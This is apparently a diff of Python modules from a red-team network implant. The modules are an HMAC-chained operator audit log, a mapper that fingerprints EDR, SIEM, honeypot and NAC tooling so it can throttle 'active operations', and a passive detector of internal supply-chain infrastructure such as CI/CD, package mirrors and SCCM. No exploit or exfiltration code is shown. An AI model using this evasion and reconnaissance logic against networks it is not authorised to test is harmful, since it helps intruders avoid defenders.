self.bus.subscribe(self._on_module_stopped, "MODULE_STOPPED")
self.bus.subscribe(self._on_kill_switch, "KILL_SWITCH")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
# Log our own start
self.log_action(
ACTION_MODULE_START,
details="OperatorAudit started",
)
logger.info(
"OperatorAudit started — db=%s, chain_length=%d",
self._db_path, self._entry_count,
)
def stop(self) -> None:
if not self._running:
return
# Log our own stop before shutting down
self.log_action(
ACTION_MODULE_STOP,
details="OperatorAudit stopping",
)
self._running = False
self.bus.unsubscribe(self._on_module_started, "MODULE_STARTED")
self.bus.unsubscribe(self._on_module_stopped, "MODULE_STOPPED")
self.bus.unsubscribe(self._on_kill_switch, "KILL_SWITCH")
if self._conn:
self._conn.close()
self._conn = None
self.state.set_module_status(self.name, "stopped")
logger.info(
"OperatorAudit stopped — %d entries in chain", self._entry_count
)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"entries": self._entry_count,
"chain_valid": self.verify_chain(),
}
def configure(self, config: dict) -> None:
old_config = json.dumps(self.config, sort_keys=True, default=str)
self.config.update(config)
new_config = json.dumps(self.config, sort_keys=True, default=str)
if old_config != new_config:
self.log_action(
ACTION_CONFIG_CHANGE,
details=f"Config updated",
)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_module_started(self, event) -> None:
p = event.payload
module_name = p.get("module", event.source_module or "unknown")
if module_name == self.name:
return # Skip our own start event (already logged)
self.log_action(
ACTION_MODULE_START,
details=f"Module started: {module_name} (pid={p.get('pid', '?')})",
)
def _on_module_stopped(self, event) -> None:
p = event.payload
module_name = p.get("module", event.source_module or "unknown")
if module_name == self.name:
return
self.log_action(
ACTION_MODULE_STOP,
details=f"Module stopped: {module_name}",
)
def _on_kill_switch(self, event) -> None:
p = event.payload
self.log_action(
ACTION_KILL_SWITCH,
details=f"KILL SWITCH activated: reason={p.get('reason', 'unknown')}",
)
# ------------------------------------------------------------------
# Core logging
# ------------------------------------------------------------------
def log_action(self, action: str, operator: str = "",
details: str = "") -> None:
"""Log an operator action with HMAC chain integrity.
Args:
action: Action type (use ACTION_* constants).
operator: Operator identifier (SSH key fingerprint, username, etc).
details: Free-text description of the action.
"""
if not self._conn:
return
if not operator:
operator = self._detect_operator()
ts = time.time()
# Compute HMAC: H(key, previous_hmac | timestamp | action | operator | details)
msg = f"{self._last_hmac}|{ts}|{action}|{operator}|{details}"
entry_hmac = hmac.new(
self._hmac_key, msg.encode(), hashlib.sha256
).hexdigest()
with self._lock:
try:
self._conn.execute(
"""INSERT INTO audit_log
(timestamp, action, operator, details, hmac)
VALUES (?, ?, ?, ?, ?)""",
(ts, action, operator, details, entry_hmac),
)
self._conn.commit()
self._last_hmac = entry_hmac
self._entry_count += 1
except Exception:
logger.exception("Failed to log audit action: %s", action)
def log_ssh_session(self, remote_ip: str, key_fingerprint: str = "",
event: str = "connect") -> None:
"""Log an SSH session event."""
self.log_action(
ACTION_SSH_SESSION,
operator=key_fingerprint or remote_ip,
details=f"SSH {event} from {remote_ip} "
f"(key={key_fingerprint or 'password'})",
)
def log_cli_command(self, command: str, operator: str = "") -> None:
"""Log a CLI command execution."""
self.log_action(
ACTION_CLI_COMMAND,
operator=operator,
details=f"Command: {command}",
)
# ------------------------------------------------------------------
# HMAC chain
# ------------------------------------------------------------------
def _derive_machine_key(self) -> bytes:
"""Derive HMAC key from machine-specific identifiers."""
components = []
# CPU serial (RPi)
try:
with open("/proc/cpuinfo", "r") as f:
for line in f:
if line.startswith("Serial"):
components.append(line.strip())
break
except (IOError, PermissionError):
pass
# Machine ID
try:
with open("/etc/machine-id", "r") as f:
components.append(f.read().strip())
except (IOError, PermissionError):
pass
if not components:
components.append("bigbrother-default-key")
combined = "|".join(components)
return hashlib.sha256(combined.encode()).digest()
def _get_last_hmac(self) -> str:
"""Get the HMAC of the last entry in the chain."""
with self._lock:
row = self._conn.execute(
"SELECT hmac FROM audit_log ORDER BY id DESC LIMIT 1"
).fetchone()
count_row = self._conn.execute(
"SELECT COUNT(*) FROM audit_log"
).fetchone()
self._entry_count = count_row[0] if count_row else 0
if row:
return row["hmac"]
return "" # Genesis — empty for first entry
def _detect_operator(self) -> str:
"""Attempt to detect the current operator identity."""
# Check SSH connection
ssh_client = os.environ.get("SSH_CLIENT", "")
if ssh_client:
parts = ssh_client.split()
remote_ip = parts[0] if parts else "unknown"
# Try to get SSH key fingerprint
try:
result = subprocess.run(
["who", "-m"],
capture_output=True, timeout=2,
)
who = result.stdout.decode().strip()
if who:
return f"ssh:{remote_ip}:{who.split()[0]}"
except Exception:
pass
return f"ssh:{remote_ip}"
# Local operator
user = os.environ.get("USER", os.environ.get("LOGNAME", "local"))
return f"local:{user}"
# ------------------------------------------------------------------
# Chain verification
# ------------------------------------------------------------------
def verify_chain(self) -> bool:
"""Verify the entire HMAC chain integrity.
Returns:
True if the chain is valid, False if tampered.
"""
if not self._conn:
return False
with self._lock:
rows = self._conn.execute(
"SELECT timestamp, action, operator, details, hmac "
"FROM audit_log ORDER BY id ASC"
).fetchall()
if not rows:
return True # Empty chain is valid
prev_hmac = ""
for row in rows:
ts = row["timestamp"]
action = row["action"]
operator = row["operator"]
details = row["details"]
stored_hmac = row["hmac"]
msg = f"{prev_hmac}|{ts}|{action}|{operator}|{details}"
computed = hmac.new(
self._hmac_key, msg.encode(), hashlib.sha256
).hexdigest()
if computed != stored_hmac:
logger.error(
"HMAC chain broken at ts=%.3f action=%s"
"expected %s, got %s",
ts, action, computed[:16], stored_hmac[:16],
)
return False
prev_hmac = stored_hmac
return True
# ------------------------------------------------------------------
# Export
# ------------------------------------------------------------------
def export_log(self, since: float = 0, limit: int = 10000) -> list:
"""Export audit log entries for engagement reports."""
with self._lock:
rows = self._conn.execute(
"""SELECT * FROM audit_log
WHERE timestamp > ?
ORDER BY id ASC LIMIT ?""",
(since, limit),
).fetchall()
return [dict(r) for r in rows]
def export_json(self, since: float = 0) -> str:
"""Export audit log as JSON string."""
entries = self.export_log(since)
return json.dumps(entries, indent=2, default=str)
def get_summary(self) -> dict:
"""Return audit log summary."""
with self._lock:
rows = self._conn.execute(
"""SELECT action, COUNT(*) FROM audit_log
GROUP BY action ORDER BY COUNT(*) DESC"""
).fetchall()
operators = self._conn.execute(
"""SELECT DISTINCT operator FROM audit_log
WHERE operator != ''"""
).fetchall()
return {
"total_entries": self._entry_count,
"chain_valid": self.verify_chain(),
"by_action": {a: c for a, c in rows},
"operators": [r[0] for r in operators],
}
+577
View File
@@ -0,0 +1,577 @@
#!/usr/bin/env python3
"""Security posture mapper — detect security infrastructure by traffic patterns.
Identifies EDR, SIEM, vulnerability scanners, honeypots, NAC, and network
monitoring tools by observing DNS queries, HTTP traffic, and port patterns.
Gates active module risk assessment — if strong security tooling is detected,
active operations should increase caution.
"""
import json
import logging
import os
import re
import sqlite3
import threading
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
_SCHEMA = """
CREATE TABLE IF NOT EXISTS security_tools (
id INTEGER PRIMARY KEY AUTOINCREMENT,
tool_type TEXT NOT NULL,
tool_name TEXT NOT NULL,
evidence TEXT NOT NULL,
confidence REAL DEFAULT 0.5,
target_ip TEXT DEFAULT '',
target_hostname TEXT DEFAULT '',
first_seen REAL NOT NULL,
last_seen REAL NOT NULL,
impacts_active_ops INTEGER DEFAULT 1,
details TEXT DEFAULT '',
UNIQUE(tool_type, tool_name, target_ip)
);
CREATE INDEX IF NOT EXISTS idx_st_type ON security_tools(tool_type);
CREATE INDEX IF NOT EXISTS idx_st_name ON security_tools(tool_name);
"""
# -----------------------------------------------------------------------
# Detection signatures
# -----------------------------------------------------------------------
# DNS patterns: (regex, tool_type, tool_name, confidence, impacts_active)
_DNS_SIGNATURES = [
# EDR / Endpoint Protection
(re.compile(r"ts01-[a-z0-9]+\.cloudsink\.net$", re.I),
"edr", "CrowdStrike Falcon", 0.95, True),
(re.compile(r"(lfodown|lfoup)\.crowdstrike\.com$", re.I),
"edr", "CrowdStrike Falcon", 0.95, True),
(re.compile(r"\.crowdstrike\.com$", re.I),
"edr", "CrowdStrike Falcon", 0.9, True),
(re.compile(r"[a-z0-9]+\.sentinelone\.net$", re.I),
"edr", "SentinelOne", 0.95, True),
(re.compile(r"management.*\.sentinelone\.net$", re.I),
"edr", "SentinelOne", 0.95, True),
(re.compile(r"\.cybereason\.com$", re.I),
"edr", "Cybereason", 0.9, True),
(re.compile(r"\.carbonblack\.(com|io)$", re.I),
"edr", "Carbon Black", 0.9, True),
(re.compile(r"\.cb\.carbonblack\.io$", re.I),
"edr", "Carbon Black Cloud", 0.95, True),
(re.compile(r"(wdcp|wdcpalt)\.microsoft\.com$", re.I),
"edr", "Microsoft Defender ATP", 0.85, True),
(re.compile(r"\.securitycenter\.windows\.com$", re.I),
"edr", "Microsoft Defender ATP", 0.9, True),
(re.compile(r"\.endpoint\.security\.microsoft\.com$", re.I),
"edr", "Microsoft Defender for Endpoint", 0.95, True),
(re.compile(r"\.sophos\.(com|net)$", re.I),
"edr", "Sophos", 0.8, True),
(re.compile(r"\.cylance\.(com|io)$", re.I),
"edr", "Cylance/BlackBerry Protect", 0.85, True),
(re.compile(r"\.trellix\.com$", re.I),
"edr", "Trellix (McAfee/FireEye)", 0.85, True),
(re.compile(r"\.fireeye\.com$", re.I),
"edr", "FireEye/Mandiant", 0.85, True),
# SIEM
(re.compile(r"\.splunkcloud\.com$", re.I),
"siem", "Splunk Cloud", 0.9, False),
(re.compile(r"input.*\.splunkcloud\.com$", re.I),
"siem", "Splunk Cloud HEC", 0.95, False),
(re.compile(r"\.sumologic\.com$", re.I),
"siem", "Sumo Logic", 0.85, False),
(re.compile(r"\.logz\.io$", re.I),
"siem", "Logz.io", 0.85, False),
(re.compile(r"\.elastic-cloud\.com$", re.I),
"siem", "Elastic Cloud", 0.85, False),
(re.compile(r"\.datadoghq\.com$", re.I),
"siem", "Datadog", 0.8, False),
# Vulnerability Scanners
(re.compile(r"(plugins|sensor)\.nessus\.org$", re.I),
"vuln_scanner", "Nessus", 0.9, False),
(re.compile(r"\.tenable\.(com|io)$", re.I),
"vuln_scanner", "Tenable", 0.85, False),
(re.compile(r"\.qualys\.com$", re.I),
"vuln_scanner", "Qualys", 0.9, False),
(re.compile(r"\.rapid7\.com$", re.I),
"vuln_scanner", "Rapid7 InsightVM", 0.85, False),
# Honeypots / Deception
(re.compile(r"\.canary\.tools$", re.I),
"honeypot", "Thinkst Canary", 0.95, True),
(re.compile(r"canarytokens\..*\.com$", re.I),
"honeypot", "Canary Tokens", 0.9, True),
(re.compile(r"\.illusive-networks\.com$", re.I),
"honeypot", "Illusive Networks", 0.85, True),
(re.compile(r"\.attivo\.com$", re.I),
"honeypot", "Attivo Networks", 0.85, True),
# NAC
(re.compile(r"\.forescout\.com$", re.I),
"nac", "Forescout", 0.85, True),
(re.compile(r"ise[\w-]*\.(local|internal|corp|lan)$", re.I),
"nac", "Cisco ISE", 0.8, True),
# Threat Intelligence
(re.compile(r"\.virustotal\.com$", re.I),
"threat_intel", "VirusTotal", 0.7, False),
(re.compile(r"\.shodan\.io$", re.I),
"threat_intel", "Shodan", 0.7, False),
]
# Port-based signatures: port -> (tool_type, tool_name, confidence, impacts_active)
_PORT_SIGNATURES = {
8088: ("siem", "Splunk HEC", 0.7, False),
8089: ("siem", "Splunk Management", 0.7, False),
9997: ("siem", "Splunk Forwarder", 0.75, False),
1514: ("siem", "Wazuh Agent", 0.7, False),
1515: ("siem", "Wazuh Enrollment", 0.75, False),
55000: ("siem", "Wazuh API", 0.8, False),
8834: ("vuln_scanner", "Nessus Scanner", 0.85, False),
3790: ("vuln_scanner", "Rapid7 Metasploit Pro/Nexpose", 0.75, False),
9390: ("vuln_scanner", "OpenVAS/Greenbone", 0.8, False),
9392: ("vuln_scanner", "Greenbone GSA", 0.8, False),
1812: ("nac", "RADIUS Authentication", 0.6, True),
1813: ("nac", "RADIUS Accounting", 0.6, True),
3799: ("nac", "RADIUS CoA (Change of Authorization)", 0.7, True),
}
# HTTP User-Agent patterns
_UA_SIGNATURES = [
(re.compile(r"Nessus", re.I), "vuln_scanner", "Nessus", 0.9),
(re.compile(r"Qualys", re.I), "vuln_scanner", "Qualys", 0.9),
(re.compile(r"InsightVM|Rapid7", re.I), "vuln_scanner", "Rapid7", 0.85),
(re.compile(r"Nikto", re.I), "vuln_scanner", "Nikto", 0.8),
(re.compile(r"OpenVAS", re.I), "vuln_scanner", "OpenVAS", 0.85),
(re.compile(r"CrowdStrike", re.I), "edr", "CrowdStrike", 0.7),
(re.compile(r"Splunk", re.I), "siem", "Splunk", 0.7),
]
# T-Pot honeypot: multiple decoy services on unusual port ranges
_TPOT_PORT_CLUSTERS = {
# T-Pot maps real honeypots to high ports; seeing many of these is a sign
64295, 64297, 64300, # T-Pot management
}
class SecurityPosture(BaseModule):
"""Map the target network's security tooling and posture."""
name = "security_posture"
module_type = "intel"
priority = 100
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._db_path = ""
self._conn: Optional[sqlite3.Connection] = None
self._lock = threading.Lock()
self._scan_thread: Optional[threading.Thread] = None
self._detection_count = 0
# Cache of risk assessment
self._risk_level = "unknown" # low, medium, high, critical
self._active_ops_safe = True
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "security_posture.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._conn.execute("PRAGMA journal_mode=WAL")
self._conn.execute("PRAGMA synchronous=NORMAL")
self._conn.row_factory = sqlite3.Row
self._conn.executescript(_SCHEMA)
# Subscribe to host discovery for port-based detection
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._scan_thread = threading.Thread(
target=self._periodic_scan, daemon=True,
name="sensor-security-posture",
)
self._scan_thread.start()
# Initial risk assessment from any previously stored data
self._reassess_risk()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("SecurityPosture started — db=%s", self._db_path)
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
if self._conn:
self._conn.close()
self._conn = None
self.state.set_module_status(self.name, "stopped")
logger.info(
"SecurityPosture stopped — %d tools detected, risk=%s",
self._detection_count, self._risk_level,
)
def status(self) -> dict:
tool_count = 0
if self._conn:
try:
with self._lock:
row = self._conn.execute(
"SELECT COUNT(*) FROM security_tools"
).fetchone()
tool_count = row[0] if row else 0
except Exception:
pass
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"detected_tools": tool_count,
"risk_level": self._risk_level,
"active_ops_safe": self._active_ops_safe,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Detection functions
# ------------------------------------------------------------------
def analyze_dns_query(self, query_name: str, client_ip: str = "",
resolved_ip: str = "") -> Optional[dict]:
"""Analyze a DNS query for security tool signatures."""
for pattern, tool_type, tool_name, confidence, impacts in _DNS_SIGNATURES:
if pattern.search(query_name):
det = self._record_detection(
tool_type=tool_type,
tool_name=tool_name,
evidence=f"DNS: {query_name}",
confidence=confidence,
target_ip=client_ip,
target_hostname=query_name,
impacts_active=impacts,
details=json.dumps({
"query": query_name,
"client_ip": client_ip,
"resolved_ip": resolved_ip,
}),
)
return det
return None
def analyze_port(self, target_ip: str, port: int,
hostname: str = "") -> Optional[dict]:
"""Check if a port suggests security tooling."""
if port in _PORT_SIGNATURES:
tool_type, tool_name, confidence, impacts = _PORT_SIGNATURES[port]
return self._record_detection(
tool_type=tool_type,
tool_name=tool_name,
evidence=f"Port {port} open on {target_ip}",
confidence=confidence,
target_ip=target_ip,
target_hostname=hostname,
impacts_active=impacts,
)
# T-Pot cluster detection
if port in _TPOT_PORT_CLUSTERS:
return self._record_detection(
tool_type="honeypot",
tool_name="T-Pot",
evidence=f"T-Pot management port {port} on {target_ip}",
confidence=0.8,
target_ip=target_ip,
target_hostname=hostname,
impacts_active=True,
)
return None
def analyze_user_agent(self, user_agent: str, source_ip: str = "") -> Optional[dict]:
"""Check HTTP User-Agent for security scanner signatures."""
for pattern, tool_type, tool_name, confidence in _UA_SIGNATURES:
if pattern.search(user_agent):
return self._record_detection(
tool_type=tool_type,
tool_name=tool_name,
evidence=f"User-Agent: {user_agent[:100]}",
confidence=confidence,
target_ip=source_ip,
impacts_active=False,
details=json.dumps({"user_agent": user_agent}),
)
return None
def analyze_radius_traffic(self, src_ip: str, dst_ip: str,
dst_port: int) -> Optional[dict]:
"""Detect 802.1X/RADIUS NAC infrastructure."""
if dst_port in (1812, 1813, 3799):
return self._record_detection(
tool_type="nac",
tool_name="RADIUS/802.1X",
evidence=f"RADIUS traffic {src_ip} -> {dst_ip}:{dst_port}",
confidence=0.8,
target_ip=dst_ip,
impacts_active=True,
details=json.dumps({
"src": src_ip, "dst": dst_ip, "port": dst_port
}),
)
return None
def _on_host_discovered(self, event) -> None:
"""Check discovered host ports for security tools."""
p = event.payload
ip = p.get("ip", "")
hostname = p.get("hostname", "")
ports = p.get("open_ports", [])
for port in ports:
self.analyze_port(ip, port, hostname)
# ------------------------------------------------------------------
# Database operations
# ------------------------------------------------------------------
def _record_detection(self, tool_type: str, tool_name: str,
evidence: str, confidence: float,
target_ip: str = "", target_hostname: str = "",
impacts_active: bool = True,
details: str = "") -> dict:
"""Record a security tool detection."""
now = time.time()
detection = {
"tool_type": tool_type,
"tool_name": tool_name,
"evidence": evidence,
"confidence": confidence,
"target_ip": target_ip,
"impacts_active_ops": impacts_active,
}
with self._lock:
try:
self._conn.execute(
"""INSERT INTO security_tools
(tool_type, tool_name, evidence, confidence,
target_ip, target_hostname, first_seen, last_seen,
impacts_active_ops, details)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(tool_type, tool_name, target_ip) DO UPDATE SET
last_seen = excluded.last_seen,
confidence = MAX(security_tools.confidence, excluded.confidence),
evidence = security_tools.evidence || '; ' || excluded.evidence
""",
(tool_type, tool_name, evidence, confidence,
target_ip, target_hostname, now, now,
1 if impacts_active else 0, details),
)
self._conn.commit()
self._detection_count += 1
except Exception:
logger.exception("Failed to record security tool detection")
return detection
logger.warning(
"Security tool detected: %s (%s) at %s — confidence=%.2f, "
"impacts_active=%s",
tool_name, tool_type, target_ip or "unknown", confidence,
impacts_active,
)
# Reassess risk after each new detection
self._reassess_risk()
return detection
# ------------------------------------------------------------------
# Risk assessment
# ------------------------------------------------------------------
def _reassess_risk(self) -> None:
"""Recalculate overall security risk level based on detected tools."""
if not self._conn:
return
with self._lock:
try:
tools = self._conn.execute(
"SELECT tool_type, tool_name, confidence, impacts_active_ops "
"FROM security_tools"
).fetchall()
except Exception:
return
if not tools:
self._risk_level = "low"
self._active_ops_safe = True
return
has_edr = any(t["tool_type"] == "edr" and t["confidence"] >= 0.7
for t in tools)
has_siem = any(t["tool_type"] == "siem" and t["confidence"] >= 0.7
for t in tools)
has_nac = any(t["tool_type"] == "nac" and t["confidence"] >= 0.7
for t in tools)
has_honeypot = any(t["tool_type"] == "honeypot" and t["confidence"] >= 0.7
for t in tools)
has_vuln_scanner = any(t["tool_type"] == "vuln_scanner"
and t["confidence"] >= 0.7 for t in tools)
# Score-based risk assessment
score = 0
if has_edr:
score += 40
if has_siem:
score += 20
if has_nac:
score += 25
if has_honeypot:
score += 30
if has_vuln_scanner:
score += 10
if score >= 60:
self._risk_level = "critical"
self._active_ops_safe = False
elif score >= 40:
self._risk_level = "high"
self._active_ops_safe = False
elif score >= 20:
self._risk_level = "medium"
self._active_ops_safe = True # with caution
else:
self._risk_level = "low"
self._active_ops_safe = True
# Persist for other modules
self.state.set(self.name, "risk_level", self._risk_level)
self.state.set(self.name, "active_ops_safe", json.dumps(self._active_ops_safe))
self.state.set(self.name, "has_edr", json.dumps(has_edr))
self.state.set(self.name, "has_siem", json.dumps(has_siem))
self.state.set(self.name, "has_nac", json.dumps(has_nac))
self.state.set(self.name, "has_honeypot", json.dumps(has_honeypot))
# ------------------------------------------------------------------
# Periodic scanning
# ------------------------------------------------------------------
def _periodic_scan(self) -> None:
"""Pull DNS data from other modules and analyze."""
interval = self.config.get("posture_scan_interval", 120)
while self._running:
time.sleep(interval)
try:
self._scan_dns_data()
self._reassess_risk()
except Exception:
logger.exception("Security posture scan failed")
def _scan_dns_data(self) -> None:
"""Pull recent DNS queries from dns_logger and analyze for security tools."""
last_ts = self.state.get(self.name, "dns_scan_last_ts")
last_ts = float(last_ts) if last_ts else 0
dns_json = self.state.get("dns_logger", "recent_queries")
if not dns_json:
return
try:
queries = json.loads(dns_json)
max_ts = last_ts
for q in queries:
ts = q.get("timestamp", 0)
if ts <= last_ts:
continue
self.analyze_dns_query(
query_name=q.get("query_name", ""),
client_ip=q.get("client_ip", ""),
resolved_ip=q.get("resolved_ip", ""),
)
max_ts = max(max_ts, ts)
self.state.set(self.name, "dns_scan_last_ts", str(max_ts))
except (json.JSONDecodeError, TypeError):
pass
# ------------------------------------------------------------------
# Query interface
# ------------------------------------------------------------------
def get_risk_level(self) -> str:
"""Return current overall risk level."""
return self._risk_level
def is_active_ops_safe(self) -> bool:
"""Return whether active operations are considered safe."""
return self._active_ops_safe
def get_detected_tools(self, tool_type: str = None) -> list:
"""Get all detected security tools."""
with self._lock:
if tool_type:
rows = self._conn.execute(
"""SELECT * FROM security_tools
WHERE tool_type = ?
ORDER BY confidence DESC""",
(tool_type,),
).fetchall()
else:
rows = self._conn.execute(
"""SELECT * FROM security_tools
ORDER BY confidence DESC"""
).fetchall()
return [dict(r) for r in rows]
def get_posture_summary(self) -> dict:
"""Return a full security posture summary."""
with self._lock:
rows = self._conn.execute(
"""SELECT tool_type, COUNT(*) as count,
AVG(confidence) as avg_confidence,
MAX(impacts_active_ops) as any_impacts_active
FROM security_tools
GROUP BY tool_type
ORDER BY count DESC"""
).fetchall()
return {
"risk_level": self._risk_level,
"active_ops_safe": self._active_ops_safe,
"total_tools": sum(r[1] for r in rows),
"by_type": {
r[0]: {
"count": r[1],
"avg_confidence": round(r[2], 2),
"impacts_active": bool(r[3]),
}
for r in rows
},
}
+491
View File
@@ -0,0 +1,491 @@
#!/usr/bin/env python3
"""Supply chain infrastructure detection — passively identifies internal
package repos, update servers, config management, CI/CD, and container
registries by analyzing DNS and HTTP traffic patterns.
Detection only — no exploitation or active probing.
"""
import json
import logging
import os
import re
import sqlite3
import threading
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
_SCHEMA = """
CREATE TABLE IF NOT EXISTS supply_chain (
id INTEGER PRIMARY KEY AUTOINCREMENT,
type TEXT NOT NULL,
target_ip TEXT NOT NULL,
target_hostname TEXT DEFAULT '',
target_port INTEGER,
evidence TEXT NOT NULL,
confidence REAL DEFAULT 0.5,
first_seen REAL NOT NULL,
last_seen REAL NOT NULL,
details TEXT DEFAULT '',
UNIQUE(type, target_ip, target_port)
);
CREATE INDEX IF NOT EXISTS idx_sc_type ON supply_chain(type);
CREATE INDEX IF NOT EXISTS idx_sc_ip ON supply_chain(target_ip);
"""
# -----------------------------------------------------------------------
# Detection signatures
# -----------------------------------------------------------------------
# HTTP path patterns -> (infra_type, description, confidence)
_HTTP_PATH_PATTERNS = [
# Package repositories
(re.compile(r"/simple/[\w-]+/"), "pypi_mirror", "PyPI mirror (PEP 503 simple API)", 0.9),
(re.compile(r"/pypi/[\w-]+/json"), "pypi_mirror", "PyPI mirror (JSON API)", 0.9),
(re.compile(r"/-/npm/v1/"), "npm_registry", "npm registry (v1 API)", 0.9),
(re.compile(r"/@[\w-]+/[\w-]+/-/"), "npm_registry", "npm scoped package download", 0.85),
(re.compile(r"/repository/maven-"), "maven_repo", "Maven/Nexus repository", 0.85),
(re.compile(r"/artifactory/"), "artifactory", "JFrog Artifactory", 0.9),
(re.compile(r"/content/repositories/"), "nexus_repo", "Sonatype Nexus repository", 0.85),
(re.compile(r"/api/v4/projects/\d+/packages/"), "gitlab_packages", "GitLab Package Registry", 0.9),
(re.compile(r"/v2/[\w.-]+/[\w.-]+/manifests/"), "container_registry", "Docker/OCI registry (manifest pull)", 0.95),
(re.compile(r"/v2/[\w.-]+/[\w.-]+/blobs/"), "container_registry", "Docker/OCI registry (blob pull)", 0.95),
(re.compile(r"/v2/_catalog"), "container_registry", "Docker registry catalog", 0.95),
# WSUS
(re.compile(r"/ClientWebService/"), "wsus", "WSUS client web service", 0.9),
(re.compile(r"/SimpleAuthWebService/"), "wsus", "WSUS auth service", 0.9),
(re.compile(r"/ApiRemoting30/"), "wsus", "WSUS API remoting", 0.9),
(re.compile(r"/Content/[\w-]+\.cab"), "wsus", "WSUS content download", 0.8),
# CI/CD
(re.compile(r"/job/[\w-]+/build"), "jenkins", "Jenkins build trigger", 0.9),
(re.compile(r"/api/json\?tree="), "jenkins", "Jenkins API query", 0.85),
(re.compile(r"/queue/api/json"), "jenkins", "Jenkins queue API", 0.85),
(re.compile(r"/api/v4/runners/"), "gitlab_ci", "GitLab CI runner API", 0.9),
(re.compile(r"/api/v3/repos/.+/actions/"), "github_actions", "GitHub Actions API", 0.85),
(re.compile(r"/_apis/build/"), "azure_devops", "Azure DevOps build API", 0.9),
# Config management
(re.compile(r"/puppet/v3/"), "puppet", "Puppet v3 API", 0.9),
(re.compile(r"/puppet/v4/"), "puppet", "Puppet v4 API", 0.9),
(re.compile(r"/organizations/[\w-]+/cookbooks/"), "chef", "Chef cookbook API", 0.9),
(re.compile(r"/nodes/[\w.-]+"), "chef", "Chef node API", 0.8),
# Internal CA
(re.compile(r"/certsrv/"), "internal_ca", "Microsoft AD CS certificate services", 0.9),
(re.compile(r"/acme/directory"), "internal_ca", "ACME CA directory (internal Let's Encrypt/step-ca)", 0.8),
(re.compile(r"/v1/pki/"), "vault_pki", "HashiCorp Vault PKI engine", 0.9),
# SCCM / MECM
(re.compile(r"/SMS_MP/"), "sccm", "SCCM Management Point", 0.9),
(re.compile(r"/CCM_Client/"), "sccm", "SCCM client endpoint", 0.9),
(re.compile(r"/CMGateway/"), "sccm", "SCCM Cloud Management Gateway", 0.85),
]
# DNS patterns -> (infra_type, description, confidence)
_DNS_PATTERNS = [
(re.compile(r"(pypi|pip)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"pypi_mirror", "Internal PyPI mirror hostname", 0.85),
(re.compile(r"(npm|registry)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"npm_registry", "Internal npm registry hostname", 0.85),
(re.compile(r"(nexus|artifactory|repo)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"artifact_repo", "Internal artifact repository", 0.8),
(re.compile(r"(docker|registry|harbor|quay)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"container_registry", "Internal container registry", 0.85),
(re.compile(r"(wsus|update)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"wsus", "WSUS/update server", 0.8),
(re.compile(r"(jenkins|ci|build|drone|bamboo|teamcity|concourse)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"ci_cd", "CI/CD server", 0.8),
(re.compile(r"(gitlab)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"gitlab", "GitLab instance", 0.9),
(re.compile(r"(puppet|puppetdb|foreman)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"puppet", "Puppet infrastructure", 0.85),
(re.compile(r"(chef|supermarket)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"chef", "Chef infrastructure", 0.85),
(re.compile(r"(ansible|tower|awx)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"ansible", "Ansible Tower/AWX", 0.85),
(re.compile(r"(sccm|mecm|configmgr)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"sccm", "SCCM/MECM infrastructure", 0.9),
(re.compile(r"(ca|pki|cert|issuing)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"internal_ca", "Internal CA/PKI", 0.7),
(re.compile(r"(vault)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
"hashicorp_vault", "HashiCorp Vault", 0.8),
]
# Port patterns -> (infra_type, description, confidence)
_PORT_PATTERNS = {
8140: ("puppet", "Puppet master default port", 0.7),
8443: ("ci_cd", "Common CI/CD HTTPS port", 0.3), # low confidence — many things use 8443
8080: ("jenkins", "Jenkins default HTTP port", 0.3),
50000: ("jenkins", "Jenkins agent JNLP port", 0.7),
5000: ("container_registry", "Docker registry default port", 0.5),
443: ("generic_https", "HTTPS", 0.1), # too common for high confidence alone
8140: ("puppet", "Puppet master", 0.7),
4433: ("chef", "Chef Automate", 0.6),
}
class SupplyChainDetect(BaseModule):
"""Passively detect internal supply chain infrastructure."""
name = "supply_chain_detect"
module_type = "intel"
priority = 200
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._db_path = ""
self._conn: Optional[sqlite3.Connection] = None
self._lock = threading.Lock()
self._scan_thread: Optional[threading.Thread] = None
self._detection_count = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "supply_chain.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
